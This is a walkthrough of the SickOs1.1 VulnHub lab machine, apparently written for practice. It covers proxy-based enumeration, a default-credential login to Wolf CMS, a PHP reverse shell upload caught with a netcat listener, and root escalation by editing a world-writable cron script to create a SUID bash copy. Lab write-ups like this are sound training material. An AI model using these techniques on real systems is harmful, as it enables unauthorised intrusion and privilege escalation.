SickOs1.1 - VulnHub Writeup

This machine can be easily downloaded from VulnHub: https://vulnhub.com/entry/sickos-11,132/

To set up this machine inside Proxmox, I used the following resource as a reference: https://benheater.com/proxmox-lab-adding-vulnhub-vms/.

Additionally, I set up a simple DHCP server to assign an IP address from my Kali machine to the vulnerable VM. Here’s my own guide on how to configured it based on a previous writeup for the Kioptrix series: Kioptrix Level 2 (1.1) - VulnHub Writeup

Enumeration

First, let's start by verifying the IP address of the vulnerable machine.

Now, let's continue with our standard nmap enumeration.

The port 3128 is hosting a Squid service, which is a caching and forwarding HTTP web proxy. Visiting the page belonging to this service will result in an error.

Since this is a web forwarding service, we should set this service as our web proxy to try to get access to the HTTP service on port 8080. In Firefox, navigate to settings > Network Settings, and fill in the Manual proxy configuration.

After clicking OK, we will be able to get access to the service hiding before port 8080!

Enumeration of website behind web proxy

Now, let's enumerate for any additional directories inside http://10.0.1.118. with gobuster. With the --proxy option, we can use the Squid service as our web proxy and successfully enumerate the website.

The index directory contains the homepage we saw earlier. The /connect directory contains a short script that is executed with Python 2, which might be useful later.

The /robots directory contains an additional directory.

Inside this directory, we will find a CMS containing what appears to be an empty blog.

After enumerating the directories, we can't really find anything useful.

After doing some online research, it seems that the login page for WolfCMS is located under ?/admin/login.

Let's try logging in with default credentials: admin/admin.

CMS Abuse through File Upload

Great! Now, we can see that the version of the CMS we are using is Wolf CMS 0.8.2, let's try to find a public exploit to abuse this. By following the instructions in the following exploit (Wolf CMS - Arbitrary File Upload / Execution), we can a shell in the system.

1. Select a PHP shell to upload. I will use PentestMonkey's PHP Reverse Shell.
2. Upload the file through the Files > Upload file button.

3. Once uploaded, visit the following URL to trigger the PHP code. http://10.0.1.118/wolfcms/public/FILE.php.

Great! Now, we have a shell as www-data.

Privilege Escalation: www-data -> root

First, let's upgrade our shell to a TTY shell.

$ which python
/usr/bin/python
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@SickOs:/$
www-data@SickOs:/var/www$ ^Z
zsh: suspended  nc -lvnp 7777

┌──(kali㉿kali-attacker-0)-[~/BOXES/2026-08/4-sick0s1.1]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 7777
                               reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@SickOs:/var/www$

Going back to the connect.py file that we found earlier, we can see that its owned by root and all users can edit this file.

www-data@SickOs:/var/www$ ls -la connect.py
ls -la connect.py
-rwxrwxrwx 1 root root 109 Dec  5  2015 connect.py

I wonder if this file is mentioned somewhere else in the machine. Let's check cron-related files to find if this file is mentioned there. Inside cron.d, we can find the automate file, which mentions executes the /var/www/connect.py file!

www-data@SickOs:/etc/cron.d$ cat automate
cat automate

* * * * * root /usr/bin/python /var/www/connect.py

This script is also executed by root! We can modify this script to execute some code to escalate our privileges to root. Let's create a copy of /bin/bash with SUID perms belonging to the root user with the cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash payload. We can edit the file with vi.

After we save with :wq, we will wait until the script is executed. Then, we can check the /tmp directory to see if rootbash was created.

www-data@SickOs:/var/www$ ls -la /tmp
total 908
drwxrwxrwt  2 root root   4096 Aug 14 06:11 .
drwxr-xr-x 22 root root   4096 Sep 22  2015 ..
-rwsr-sr-x  1 root root 920788 Aug 14 06:11 rootbash

The new file can be executed with /tmp/rootbash -p to spawn a shell with root privileges.

www-data@SickOs:/var/www$ /tmp/rootbash -p
rootbash-4.2# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Reading at other writeups, it seems that the intended route to escalate to root was through the sickos user, which is part of the sudo group. Lateral movement to from www-data to sickos can be read in this other writeup I found: SickOs: 1.1 VulnHub Writeup - g0blin.co.uk . It’s always good to find another path to root. : )